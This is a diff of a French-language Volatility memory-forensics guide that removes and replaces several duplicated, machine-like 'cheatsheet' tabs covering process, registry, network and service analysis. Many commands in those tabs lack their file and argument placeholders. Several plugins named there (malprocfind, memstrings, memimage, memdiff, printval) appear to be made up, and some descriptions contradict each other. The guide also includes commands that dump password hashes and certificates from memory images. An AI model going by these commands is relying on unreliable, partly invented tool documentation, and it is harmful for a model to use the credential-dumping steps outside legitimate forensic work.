List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) +{% onglet title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784 ``` ### UserAssist -Les systèmes **Windows** conservent un ensemble de **clés** dans la base de données du registre (**clés UserAssist**) pour suivre les programmes qui sont exécutés. Le nombre d'exécutions et la date et l'heure de la dernière exécution sont disponibles dans ces **clés**. +Les systèmes **Windows** conservent un ensemble de **clés** dans la base de registre (**clés UserAssist**) pour suivre les programmes qui sont exécutés. Le nombre d'exécutions et la date et l'heure de la dernière exécution sont disponibles dans ces **clés**. ```bash ./vol.py -f file.dmp windows.registry.userassist.UserAssist ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Volatility Cheatsheet - -## Installation - -```bash -pip install volatility -``` - -## Basic Usage - -```bash -volatility -f [options] -``` - -## Plugins - -### Process Analysis - -#### pslist - -List running processes. - -```bash -volatility -f pslist -``` - -#### psscan - -Scan for processes. - -```bash -volatility -f psscan -``` - -#### pstree - -Display process tree. - -```bash -volatility -f pstree -``` - -#### dlllist - -List loaded DLLs. - -```bash -volatility -f dlllist -``` - -#### handles - -List open handles. - -```bash -volatility -f handles -``` - -#### cmdscan - -Scan for command history. - -```bash -volatility -f cmdscan -``` - -### Malware Analysis - -#### malfind - -Find hidden and injected code. - -```bash -volatility -f malfind -``` - -#### malprocfind - -Find hidden processes. - -```bash -volatility -f malprocfind -``` - -#### malfind - -Find hidden files. - -```bash -volatility -f malfind -``` - -### Memory Analysis - -#### memdump - -Dump process memory. - -```bash -volatility -f memdump -p -D -``` - -#### memmap - -Display memory map. - -```bash -volatility -f memmap -``` - -#### memstrings - -Extract printable strings. - -```bash -volatility -f memstrings -``` - -#### memimage - -Extract PE files. - -```bash -volatility -f memimage -``` - -#### memdiff - -Compare memory dumps. - -```bash -volatility -f memdiff -f -``` - -### Network Analysis - -#### connscan - -List open network connections. - -```bash -volatility -f connscan -``` - -#### sockets - -List open sockets. - -```bash -volatility -f sockets -``` - -#### netscan - -Scan for network activity. - -```bash -volatility -f netscan -``` - -### User Analysis - -#### hivelist - -List registry hives. - -```bash -volatility -f hivelist -``` - -#### hashdump - -Dump password hashes. - -```bash -volatility -f hashdump -s -u -``` - -#### userassist - -List userassist entries. - -```bash -volatility -f userassist -``` - -#### getsids - -List user SIDs. - -```bash -volatility -f getsids -``` - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -### Windows Registry Analysis - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### printval - -Print registry value. - -```bash -volatility -f printval -K -V -``` - -#### hivedump - -Dump registry hive. - -```bash -volatility -f hivedump -o -s -w -``` - -### Virtualization Analysis - -#### vboxinfo - -Display VirtualBox information. - -```bash -volatility -f vboxinfo -``` - -#### vboxsf - -List VirtualBox shared folders. - -```bash -volatility -f vboxsf -``` - -#### vmwareinfo - -Display VMware information. - -```bash -volatility -f vmwareinfo -``` - -#### vmscan - -Scan for virtual machines. - -```bash -volatility -f vmscan -``` - -### Other Plugins - -#### apihooks - -List API hooks. - -```bash -volatility -f apihooks -``` - -#### callbacks - -List kernel callbacks. - -```bash -volatility -f callbacks -``` - -#### idt - -Display Interrupt Descriptor Table. - -```bash -volatility -f idt -``` - -#### gdt - -Display Global Descriptor Table. - -```bash -volatility -f gdt -``` - -#### ldrmodules - -List loaded modules. - -```bash -volatility -f ldrmodules -``` - -#### modscan - -Scan for modules. - -```bash -volatility -f modscan -``` - -#### ssdt - -Display System Service Descriptor Table. - -```bash -volatility -f ssdt -``` - -#### driverirp - -List driver IRPs. - -```bash -volatility -f driverirp -``` - -#### filescan - -Scan for files. - -```bash -volatility -f filescan -``` - -#### mutantscan - -Scan for mutant objects. - -```bash -volatility -f mutantscan -``` - -#### printdeltas - -Print registry deltas. - -```bash -volatility -f printdeltas -s -u -``` - -#### printfile - -Print file contents. - -```bash -volatility -f printfile -f -``` - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### printreg - -Print registry hive. - -```bash -volatility -f printreg -o -s -``` - -#### procdump - -Dump process executable. - -```bash -volatility -f procdump -p -D -``` - -#### procmemdump - -Dump process memory. - -```bash -volatility -f procmemdump -p -D -``` - -#### shimcache - -List ShimCache entries. - -```bash -volatility -f shimcache -``` - -#### svcscan - -List services. - -```bash -volatility -f svcscan -``` - -#### thrdscan - -List threads. - -```bash -volatility -f thrdscan -``` - -#### timers - -List timers. - -```bash -volatility -f timers -``` - -#### vadinfo - -Display Virtual Address Descriptor information. - -```bash -volatility -f vadinfo -``` - -#### vadtree - -Display Virtual Address Descriptor tree. - -```bash -volatility -f vadtree -``` - -#### windows - -List windows. - -```bash -volatility -f windows -``` - -#### wndscan - -Scan for windows. - -```bash -volatility -f wndscan -``` - -## References - -- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) +{% onglet title="vol2" %} ``` volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ``` @@ -4796,437 +561,21 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp userassist
-​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. +​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} ## Services + +{% tabs %} +{% tab title="vol3" %} ```bash ./vol.py -f file.dmp windows.svcscan.SvcScan #List services ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Volatility Cheatsheet - -## Installation - -```bash -pip install volatility -``` - -## Basic Usage - -```bash -volatility -f [options] -``` - -## Plugins - -### Process Analysis - -#### pslist - -List running processes. - -```bash -volatility -f pslist -``` - -#### psscan - -Scan for processes. - -```bash -volatility -f psscan -``` - -#### pstree - -Display process tree. - -```bash -volatility -f pstree -``` - -#### dlllist - -List loaded DLLs. - -```bash -volatility -f dlllist -``` - -#### handles - -List open handles. - -```bash -volatility -f handles -``` - -#### cmdscan - -Scan for command history. - -```bash -volatility -f cmdscan -``` - -### Malware Analysis - -#### malfind - -Find hidden and injected code. - -```bash -volatility -f malfind -``` - -#### malprocfind - -Find hidden processes. - -```bash -volatility -f malprocfind -``` - -#### malfind - -Find hidden files. - -```bash -volatility -f malfind -``` - -### Memory Analysis - -#### memdump - -Dump process memory. - -```bash -volatility -f memdump -p -D -``` - -#### memmap - -Display memory map. - -```bash -volatility -f memmap -``` - -#### memstrings - -Extract printable strings. - -```bash -volatility -f memstrings -``` - -#### memimage - -Extract PE files. - -```bash -volatility -f memimage -``` - -#### memdump - -Dump kernel memory. - -```bash -volatility -f memdump -p 0 -D -``` - -### Network Analysis - -#### connscan - -List open connections. - -```bash -volatility -f connscan -``` - -#### sockets - -List open sockets. - -```bash -volatility -f sockets -``` - -#### netscan - -Scan for network connections. - -```bash -volatility -f netscan -``` - -### User Analysis - -#### hivelist - -List registry hives. - -```bash -volatility -f hivelist -``` - -#### hashdump - -Dump password hashes. - -```bash -volatility -f hashdump -s -u -``` - -#### userassist - -List userassist entries. - -```bash -volatility -f userassist -``` - -#### getsids - -List user SIDs. - -```bash -volatility -f getsids -``` - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### envars - -List environment variables. - -```bash -volatility -f envars -p -``` - -#### consoles - -List open consoles. - -```bash -volatility -f consoles -``` - -### Windows Registry Analysis - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### hivelist - -List registry hives. - -```bash -volatility -f hivelist -``` - -#### hivedump - -Dump registry hive. - -```bash -volatility -f hivedump -o -s -f -``` - -### Virtual Machine Analysis - -#### vboxinfo - -Display VirtualBox information. - -```bash -volatility -f vboxinfo -``` - -#### vboxsf - -List VirtualBox shared folders. - -```bash -volatility -f vboxsf -``` - -#### vmwareinfo - -Display VMware information. - -```bash -volatility -f vmwareinfo -``` - -#### vmpsaux - -List VMware process information. - -```bash -volatility -f vmpsaux -``` - -### Other Plugins - -#### apihooks - -List API hooks. - -```bash -volatility -f apihooks -``` - -#### callbacks - -List kernel callbacks. - -```bash -volatility -f callbacks -``` - -#### driverirp - -List driver IRPs. - -```bash -volatility -f driverirp -``` - -#### filescan - -Scan for files. - -```bash -volatility -f filescan -``` - -#### mutantscan - -Scan for mutant objects. - -```bash -volatility -f mutantscan -``` - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### privs - -List process privileges. - -```bash -volatility -f privs -p -``` - -#### shimcache - -List ShimCache entries. - -```bash -volatility -f shimcache -``` - -#### ssdt - -List SSDT entries. - -```bash -volatility -f ssdt -``` - -#### thrdscan - -Scan for threads. - -```bash -volatility -f thrdscan -``` - -#### timers - -List kernel timers. - -```bash -volatility -f timers -``` - -#### vadinfo - -Display VAD information. - -```bash -volatility -f vadinfo -``` - -#### vadtree - -Display VAD tree. - -```bash -volatility -f vadtree -``` - -#### verinfo - -Display version information. - -```bash -volatility -f verinfo -``` - -#### windows - -List open windows. - -```bash -volatility -f windows -``` - -#### wintree - -Display window tree. - -```bash -volatility -f wintree -``` - -#### yarascan - -Scan for YARA signatures. - -```bash -volatility -f yarascan -Y -``` - -## References - -- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) +{% onglet title="vol2" %} ```bash #Get services and binary path volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp @@ -5246,446 +595,11 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Volatility Cheatsheet - -## Installation - -```bash -pip install volatility -``` - -## Basic Usage - -```bash -volatility -f [options] -``` - -## Plugins - -### Process Analysis - -#### pslist - -List running processes. - -```bash -volatility -f pslist -``` - -#### psscan - -Scan for processes. - -```bash -volatility -f psscan -``` - -#### pstree - -Display process tree. - -```bash -volatility -f pstree -``` - -#### dlllist - -List loaded DLLs. - -```bash -volatility -f dlllist -``` - -#### handles - -List open handles. - -```bash -volatility -f handles -``` - -#### cmdscan - -Scan for command history. - -```bash -volatility -f cmdscan -``` - -### Malware Analysis - -#### malfind - -Find hidden and injected code. - -```bash -volatility -f malfind -``` - -#### malprocfind - -Find hidden processes. - -```bash -volatility -f malprocfind -``` - -#### malfind - -Find hidden files. - -```bash -volatility -f malfind -``` - -### Memory Analysis - -#### memdump - -Dump process memory. - -```bash -volatility -f memdump -p -D -``` - -#### memmap - -Display memory map. - -```bash -volatility -f memmap -``` - -#### memstrings - -Extract printable strings. - -```bash -volatility -f memstrings -``` - -#### memimage - -Extract PE files. - -```bash -volatility -f memimage -``` - -#### memdiff - -Compare memory dumps. - -```bash -volatility -f memdiff -f -``` - -### Network Analysis - -#### connscan - -List open network connections. - -```bash -volatility -f connscan -``` - -#### sockets - -List open sockets. - -```bash -volatility -f sockets -``` - -#### netscan - -Scan for network activity. - -```bash -volatility -f netscan -``` - -### User Analysis - -#### hivelist - -List registry hives. - -```bash -volatility -f hivelist -``` - -#### hashdump - -Dump password hashes. - -```bash -volatility -f hashdump -s -u -``` - -#### userassist - -List userassist entries. - -```bash -volatility -f userassist -``` - -#### getsids - -List user SIDs. - -```bash -volatility -f getsids -``` - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -### Windows Registry Analysis - -#### printkey - -Print registry key. - -```bash -volatility -f printkey -K -``` - -#### printval - -Print registry value. - -```bash -volatility -f printval -K -V -``` - -#### hivedump - -Dump registry hive. - -```bash -volatility -f hivedump -o -s -w -``` - -### Virtualization Analysis - -#### vboxinfo - -Display VirtualBox information. - -```bash -volatility -f vboxinfo -``` - -#### vboxsf - -List VirtualBox shared folders. - -```bash -volatility -f vboxsf -``` - -#### vmwareinfo - -Display VMware information. - -```bash -volatility -f vmwareinfo -``` - -#### vmscan - -Scan for virtual machines. - -```bash -volatility -f vmscan -``` - -### Other Plugins - -#### apihooks - -List API hooks. - -```bash -volatility -f apihooks -``` - -#### callbacks - -List kernel callbacks. - -```bash -volatility -f callbacks -``` - -#### idt - -Display Interrupt Descriptor Table. - -```bash -volatility -f idt -``` - -#### gdt - -Display Global Descriptor Table. - -```bash -volatility -f gdt -``` - -#### ldrmodules - -List loaded modules. - -```bash -volatility -f ldrmodules -``` - -#### modscan - -Scan for modules. - -```bash -volatility -f modscan -``` - -#### ssdt - -Display System Service Descriptor Table. - -```bash -volatility -f ssdt -``` - -#### driverirp - -List driver IRPs. - -```bash -volatility -f driverirp -``` - -#### filescan - -Scan for files. - -```bash -volatility -f filescan -``` - -#### mutantscan - -Scan for mutant objects. - -```bash -volatility -f mutantscan -``` - -#### printd - -Print kernel debugger information. - -```bash -volatility -f printd -``` - -#### procexedump - -Dump process executable. - -```bash -volatility -f procexedump -p -D -``` - -#### shimcache - -List ShimCache entries. - -```bash -volatility -f shimcache -``` - -#### svcscan - -Scan for services. - -```bash -volatility -f svcscan -``` - -#### thrdscan - -Scan for threads. - -```bash -volatility -f thrdscan -``` - -#### timers - -List kernel timers. - -```bash -volatility -f timers -``` - -#### vadinfo - -Display Virtual Address Descriptor information. - -```bash -volatility -f vadinfo -``` - -#### vadtree - -Display Virtual Address Descriptor tree. - -```bash -volatility -f vadtree -``` - -#### verinfo - -Display version information. - -```bash -volatility -f verinfo -``` - -#### windows - -List open windows. - -```bash -volatility -f windows -``` - -#### yarascan - -Scan for YARA signatures. - -```bash -volatility -f yarascan -Y -``` - -## References - -- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) +{% onglet title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 netscan -f file.dmp volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only -volatility --profile=Win7SP1x86_23418 connscan -f file.dmp#TCP connections +volatility --profile=Win7SP1x86_23418 connscan -f file.dmp#TCP connections volatility --profile=Win7SP1x86_23418 sockscan -f file.dmp#Open sockets volatility --profile=Win7SP1x86_23418 sockets -f file.dmp#Scanner for tcp socket objects @@ -5696,10 +610,7 @@ volatility --profile=SomeLinux -f file.dmp linux_arp #ARP table volatility --profile=SomeLinux -f file.dmp linux_list_raw #Processes using promiscuous raw sockets (comm between processes) volatility --profile=SomeLinux -f file.dmp linux_route_cache ``` -{% endtab %} -{% endtabs %} - -## Ruche de registre +## Registre de ruche ### Afficher les ruches disponibles @@ -5711,220 +622,14 @@ volatility --profile=SomeLinux -f file.dmp linux_route_cache ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Liste des plugins de Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) -- [Liste des règles Yara pour Volatility](https://github.com/Neo23x0/signature-base/tree/master/yara/volatility) +{% onglet title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys ``` +{% endtab %} +{% endtabs %} + ### Obtenir une valeur {% tabs %} @@ -5934,370 +639,63 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get i ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility +{% tab title="vol2" %} + +## Feuille de triche Volatility + +### Commandes de base + +- `volatility -f imageinfo` : Informations sur l'image mémoire +- `volatility -f pslist` : Liste des processus en cours d'exécution +- `volatility -f pstree` : Arborescence des processus +- `volatility -f psscan` : Analyse des processus +- `volatility -f dlllist -p ` : Liste des DLL chargées par un processus +- `volatility -f cmdline -p ` : Ligne de commande d'un processus +- `volatility -f filescan` : Analyse des fichiers ouverts +- `volatility -f netscan` : Analyse des connexions réseau +- `volatility -f connections` : Liste des connexions réseau +- `volatility -f timeliner` : Ligne temporelle des activités +- `volatility -f malfind` : Recherche de code malveillant +- `volatility -f apihooks` : Recherche de hooks API +- `volatility -f ldrmodules` : Modules chargés par le loader +- `volatility -f modscan` : Analyse des modules du kernel +- `volatility -f ssdt` : Table des services du système +- `volatility -f callbacks` : Liste des callbacks +- `volatility -f driverirp` : Analyse des IRP des drivers +- `volatility -f devicetree` : Arborescence des périphériques +- `volatility -f hivelist` : Liste des hives de registre +- `volatility -f printkey -o ` : Affichage du contenu d'une clé de registre +- `volatility -f userassist` : Analyse des entrées UserAssist +- `volatility -f shimcache` : Analyse du cache de compatibilité des applications +- `volatility -f getsids` : Liste des SID des utilisateurs +- `volatility -f getservicesids` : Liste des SID des services +- `volatility -f getsids` : Liste des SID des utilisateurs +- `volatility -f getservicesids` : Liste des SID des services +- `volatility -f envars` : Variables d'environnement +- `volatility -f consoles` : Liste des consoles +- `volatility -f deskscan` : Analyse des objets de bureau +- `volatility -f hivescan` : Analyse des hives de registre +- `volatility -f userhandles` : Liste des handles utilisateur +- `volatility -f mutantscan` : Analyse des mutants +- `volatility -f svcscan` : Analyse des services +- `volatility -f yarascan --yara-file= --yara-rules=` : Analyse Yara +- `volatility -f dumpfiles -Q
` : Extraction de fichiers en mémoire +- `volatility -f dumpfiles -D ` : Extraction de tous les fichiers en mémoire +- `volatility -f dumpfiles -Q
-D ` : Extraction de fichiers spécifiques en mémoire +- `volatility -f memdump -p -D ` : Extraction de l'espace mémoire d'un processus +- `volatility -f memdump --profile= -p -D ` : Extraction de l'espace mémoire d'un processus avec un profil spécifique +- `volatility -f memmap` : Cartographie de l'espace mémoire +- `volatility -f memmap --profile=` : Cartographie de l'espace mémoire avec un profil spécifique +- `volatility -f memmap --dump-dir=` : Cartographie de l'espace mémoire avec sauvegarde des données +- `volatility -f memdump --dump-dir=` : Extraction de l'ensemble de l'espace mémoire +- `volatility -f memdump --dump-dir= --name=` : Extraction de l'ensemble de l'espace mémoire avec un nom de fichier spécifique +- `volatility -f memdump --dump-dir= --name= --pid=` : Extraction de l'espace mémoire d'un processus avec un nom de fichier spécifique +- `volatility -f memdump --dump-dir= --name= --profile= --pid=` : Extraction de l'espace mémoire d'un processus avec un profil spécifique et un nom de fichier spécifique + +### Plugins supplémentaires + +- **Volatility** propose de nombreux autres plugins pour l'analyse de la mémoire. Vous pouvez les trouver dans la documentation officielle de Volatility. -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f getsids -``` - -```bash -volatility -f getsids -U -``` - -```bash -volatility -f getsids -u -``` - -```bash -volatility -f getsids -p -``` - -```bash -volatility -f envars -p -``` - -### Analyse des fichiers - -```bash -volatility -f filescan | grep -i -``` - -```bash -volatility -f dumpfiles -Q -D -``` - -```bash -volatility -f dumpfiles -Q -D --name -``` - -```bash -volatility -f dumpfiles -Q -D --dump-dir -``` - -### Analyse des registres - -```bash -volatility -f hivelist -``` - -```bash -volatility -f printkey -K -``` - -```bash -volatility -f printkey -o -``` - -```bash -volatility -f hashdump -y -s -h -S -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind --dump-dir | grep -i -``` - -```bash -volatility -f malfind --dump-dir | grep -i -``` - -```bash -volatility -f malfind --dump-dir | grep -i -``` - -```bash -volatility -f malfind --dump-dir | grep -i -``` - -## Plugins - -### Plugin `pslist` - -```bash -volatility -f --profile= pslist -``` - -```bash -volatility -f --profile= pslist -p -``` - -```bash -volatility -f --profile= pslist -t -``` - -### Plugin `psscan` - -```bash -volatility -f --profile= psscan -``` - -```bash -volatility -f --profile= psscan -p -``` - -```bash -volatility -f --profile= psscan -t -``` - -### Plugin `pstree` - -```bash -volatility -f --profile= pstree -``` - -```bash -volatility -f --profile= pstree -p -``` - -```bash -volatility -f --profile= pstree -t -``` - -### Plugin `dlllist` - -```bash -volatility -f --profile= dlllist -``` - -```bash -volatility -f --profile= dlllist -p -``` - -```bash -volatility -f --profile= dlllist -t -``` - -### Plugin `handles` - -```bash -volatility -f --profile= handles -``` - -```bash -volatility -f --profile= handles -p -``` - -```bash -volatility -f --profile= handles -t -``` - -### Plugin `filescan` - -```bash -volatility -f --profile= filescan -``` - -```bash -volatility -f --profile= filescan -F -``` - -```bash -volatility -f --profile= filescan -S -``` - -### Plugin `netscan` - -```bash -volatility -f --profile= netscan -``` - -```bash -volatility -f --profile= netscan -p -``` - -### Plugin `connscan` - -```bash -volatility -f --profile= connscan -``` - -```bash -volatility -f --profile= connscan -p -``` - -```bash -volatility -f --profile= connscan -s -``` - -### Plugin `sockscan` - -```bash -volatility -f --profile= sockscan -``` - -```bash -volatility -f --profile= sockscan -p -``` - -### Plugin `envars` - -```bash -volatility -f --profile= envars -p -``` - -### Plugin `malfind` - -```bash -volatility -f --profile= malfind -``` - -```bash -volatility -f --profile= malfind -p -``` - -```bash -volatility -f --profile= malfind -D -``` - -### Plugin `apihooks` - -```bash -volatility -f --profile= apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f --profile= ldrmodules -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f --profile= cmdscan -p -``` - -### Plugin `dumpfiles` - -```bash -volatility -f --profile= dumpfiles -Q -D -``` - -```bash -volatility -f --profile= dumpfiles -Q -D --name -``` - -```bash -volatility -f --profile= dumpfiles -Q -D --dump-dir -``` - -### Plugin `hivelist` - -```bash -volatility -f --profile= hivelist -``` - -### Plugin `printkey` - -```bash -volatility -f --profile= printkey -K -``` - -```bash -volatility -f --profile= printkey -o -``` - -### Plugin `hashdump` - -```bash -volatility -f --profile= hashdump -y -s -h -S -``` {% endtab %} ```bash volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp @@ -6307,9 +705,7 @@ volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\ {% endtab %} {% endtabs %} -### Dump - -### Décharge +### Vidage ```bash #Dump a hive volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist @@ -6318,7 +714,7 @@ volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` ## Système de fichiers -### Montage +### Monter {% tabs %} {% tab title="vol3" %} @@ -6327,780 +723,153 @@ volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility +{% tab title="vol2" %} -## Commandes de base +### Feuille de triche Volatility -### Analyse de l'image mémoire +#### Commandes de base -```bash -volatility -f imageinfo -``` +- **volatility -f dump.mem imageinfo** : Informations sur l'image mémoire +- **volatility -f dump.mem --profile=PROFILE pslist** : Liste des processus +- **volatility -f dump.mem --profile=PROFILE psscan** : Analyse des processus +- **volatility -f dump.mem --profile=PROFILE pstree** : Arborescence des processus +- **volatility -f dump.mem --profile=PROFILE dlllist -p PID** : Liste des DLL chargées par un processus +- **volatility -f dump.mem --profile=PROFILE cmdline -p PID** : Ligne de commande d'un processus +- **volatility -f dump.mem --profile=PROFILE filescan** : Analyse des fichiers ouverts +- **volatility -f dump.mem --profile=PROFILE netscan** : Analyse des connexions réseau +- **volatility -f dump.mem --profile=PROFILE connections** : Connexions réseau +- **volatility -f dump.mem --profile=PROFILE consoles** : Informations sur les consoles +- **volatility -f dump.mem --profile=PROFILE getsids** : Liste des SID +- **volatility -f dump.mem --profile=PROFILE hivelist** : Liste des hives +- **volatility -f dump.mem --profile=PROFILE hashdump** : Dump des mots de passe en mémoire +- **volatility -f dump.mem --profile=PROFILE userassist** : Informations sur les programmes utilisés +- **volatility -f dump.mem --profile=PROFILE malfind** : Recherche de processus suspects +- **volatility -f dump.mem --profile=PROFILE shimcache** : Analyse du cache de compatibilité des applications +- **volatility -f dump.mem --profile=PROFILE ldrmodules** : Modules chargés par les processus +- **volatility -f dump.mem --profile=PROFILE modscan** : Analyse des modules noyau +- **volatility -f dump.mem --profile=PROFILE ssdt** : Table des services du noyau +- **volatility -f dump.mem --profile=PROFILE callbacks** : Liste des callbacks du noyau +- **volatility -f dump.mem --profile=PROFILE driverirp** : Analyse des IRP des pilotes +- **volatility -f dump.mem --profile=PROFILE devicetree** : Arborescence des périphériques +- **volatility -f dump.mem --profile=PROFILE filescan** : Analyse des fichiers ouverts +- **volatility -f dump.mem --profile=PROFILE mutantscan** : Analyse des objets de synchronisation +- **volatility -f dump.mem --profile=PROFILE threads** : Liste des threads +- **volatility -f dump.mem --profile=PROFILE handles** : Liste des handles +- **volatility -f dump.mem --profile=PROFILE vadinfo -p PID** : Informations sur les espaces d'adressage virtuel d'un processus +- **volatility -f dump.mem --profile=PROFILE vadtree -p PID** : Arborescence des espaces d'adressage virtuel d'un processus +- **volatility -f dump.mem --profile=PROFILE vadwalk -p PID** : Parcours des espaces d'adressage virtuel d'un processus +- **volatility -f dump.mem --profile=PROFILE dlldump -p PID -D /path/to/dump/dir/** : Extraction des DLL d'un processus +- **volatility -f dump.mem --profile=PROFILE procdump -p PID -D /path/to/dump/dir/** : Extraction de l'espace mémoire d'un processus +- **volatility -f dump.mem --profile=PROFILE memdump -p PID -D /path/to/dump/dir/** : Extraction de la mémoire d'un processus +- **volatility -f dump.mem --profile=PROFILE memmap** : Cartographie de la mémoire +- **volatility -f dump.mem --profile=PROFILE memstrings** : Recherche de chaînes dans la mémoire +- **volatility -f dump.mem --profile=PROFILE memdump --dump-dir=/path/to/dump/dir/** : Extraction de toute la mémoire +- **volatility -f dump.mem --profile=PROFILE dumpfiles -Q 0xADDRESS -D /path/to/dump/dir/** : Extraction de fichiers en mémoire +- **volatility -f dump.mem --profile=PROFILE dumpregistry -D /path/to/dump/dir/** : Extraction de la base de registre en mémoire +- **volatility -f dump.mem --profile=PROFILE dumpcerts -D /path/to/dump/dir/** : Extraction des certificats en mémoire +- **volatility -f dump.mem --profile=PROFILE dumpcache -D /path/to/dump/dir/** : Extraction du cache en mémoire +- **volatility -f dump.mem --profile=PROFILE dumpfiles -Q 0xADDRESS -D /path/to/dump/dir/** : Extraction de fichiers en mémoire +- **volatility -f dump.mem --profile=PROFILE dumpregistry -D /path/to/dump/dir/** : Extraction de la base de registre en mémoire +- **volatility -f dump.mem --profile=PROFILE dumpcerts -D /path/to/dump/dir/** : Extraction des certificats en mémoire +- **volatility -f dump.mem --profile=PROFILE dumpcache -D /path/to/dump/dir/** : Extraction du cache en mémoire -```bash -volatility -f kdbgscan -``` +#### Plugins supplémentaires -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash 